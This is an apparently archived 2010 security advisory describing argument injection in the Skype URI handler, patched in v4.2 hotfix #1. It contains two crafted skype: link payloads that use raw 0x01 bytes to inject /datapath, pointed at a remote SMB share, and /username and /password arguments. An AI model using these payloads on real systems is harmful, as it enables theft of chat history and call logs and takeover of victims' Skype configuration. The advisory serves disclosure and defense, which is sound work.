what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Skype URI Handler Input Validation

Skype URI Handler Input Validation
Posted Mar 11, 2010
Authored by Paul Craig | Site security-assessment.com

Skype client versions prior to suffer from a URI handling input validation vulnerability that allows for remote command execution.

tags | exploit, remote
SHA-256 | faa86373432c9b156df0c665dcd6633b96c306a1b1b24a4aa08c75976837f5d5

Skype URI Handler Input Validation

Change Mirror Download

( , ) (,
. `.' ) ('. ',
). , ('. ( ) (
(_,) .`), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq


Skype URI Handler Input Validation
Versions affected: All versions prior to (v4.2 hotfix #1)


The Windows Skype client implements two URI handlers, Skype: and Skype-Plugin.
Both handlers allow for easy browser integration and are supported by all
modern browsers. When a Skype link is clicked, the Skype.exe process is
spawned with the "/URI:%1" command argument, followed by the user specified
phone number or contact name. For example, clicking the link:
Skype:PaulCraig will spawn the process Skype.exe “/URI:Skype:PaulCraig“

Due to a flaw in the current user input validation performed by Skype, it is
possible to append additional command line arguments which are subsequently
processed during the launch of Skype.exe.

In 2006 colleague Brett Moore, discovered a similar vulnerability in Skype
which led to certain security restrictions being enforced when using the
Skype: URI handler. Brett’s exploit at the time involved including additional
command line arguments to the Skype.exe process which would send a file to a
remote user when a Skype link was clicked.
Changes were made to Skype to remove available command line arguments when
the /URI argument is present, and to resolve the discovered injection vulnerability.

Although many of the useful arguments have been disallowed, Security-Assessment.com
found that the /Datapath argument can be included and directed to a remote SMB
share directly through a specially crafted Skype URI.

The Datapath argument specifies the location of the Skype configuration files and
security policy. Specifying a Datapath argument will override any local security
policy defined in the Windows registry.

A remote user is capable of crafting a link that when clicked, will spawn
Skype.exe on a client using a Datapath location which is present on a remote
SMB share. The Skype client will load any configuration or security policy
present, and save the users Skype account information to the remote share.

This allows a remote user to control the Skype configuration and security
policy of the local client instance of Skype. Settings such as a remote
proxy can be defined, which could be used to Man in The Middle Skype

Security-Assessment.com also found that the contents of another user’s Datapath
contained a wealth of private information and call history associated with the


Exploitation occurs when the victim clicks a malformed Skype link in
Internet Explorer (6,7 or 8) or Chrome.
The exploit originates from a failure to sanitise raw binary content correctly
and the ability of ShellExecute() to permit URIs which contain raw binary values.

Security-Assessment.com found that the Skype: URI handler permits the double quote
and forward slash (“ and /) characters within a Skype URI, but does not permit
any whitespace characters (such as space, %20, +) to be included. This essentially
protects Skype from a user inserting additional command line arguments directly
within a Skype: link, as a command line argument separator character (whitespace)
cannot be included.

However, the use of a raw binary byte is permitted by Skype and the byte is
Subsequently treated as a whitespace value when parsing Skype.exe command line
arguments. This provides a whitespace character, without being a traditional
whitespace. This method of whitespace character injection can be used to include
additional command line arguments to the Skype.exe process.

The example below illustrates this.

<a href=skype:A"0x01/secondary0x01/datapath:"\\remotehost\share\exploit>Click Me</a>
Where 0x01 represents the RAW binary byte value 0x01. (not the string 0x01!)

This URL will result in the Skype configuration being retrieved from the remote
host ‘remotehost’. Once a user has authenticated using Skype, the Skype client
will download their chat history and call logs to the remote share.
It is important to note that the users authentication details (if saved) are
saved encrypted using the Skype protected storage key.

Other arguments such as /username and /password can also be included using the same
method of whitespace injection. This is illustrated below.

<a href=skype:A"0x01/secondary0x01/username:"test”0x01/password:”test>Click Me</a>

The bytes 0x01-0x07 were found to function as a replacement for a whitespace character.


Skype have created a fix for this vulnerability which has been included as part
of Skype v4.2 hotfix #1.

Security-Assessment.com recommends all users of Skype upgrade to the latest
version as soon as possible. For more information on the new release of Skype
please refer to the release notes:



Discovered and advised to Skype February 2010 by Paul Craig of Security-Assessment.com.
Contact: paul.craig</at\>security-assessment.com

For a PDF version of this advisory please refer to our website:


Big shouts to all past and present Security-Assessment.com crew
Including, but not limited to : krusher, eon, headhntr, antic0de,
ddz, vt, nick "VD", tmasky, sham, Metlstorm, fosm.

Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    31 Files
  • 31
    Mar 31st
    15 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By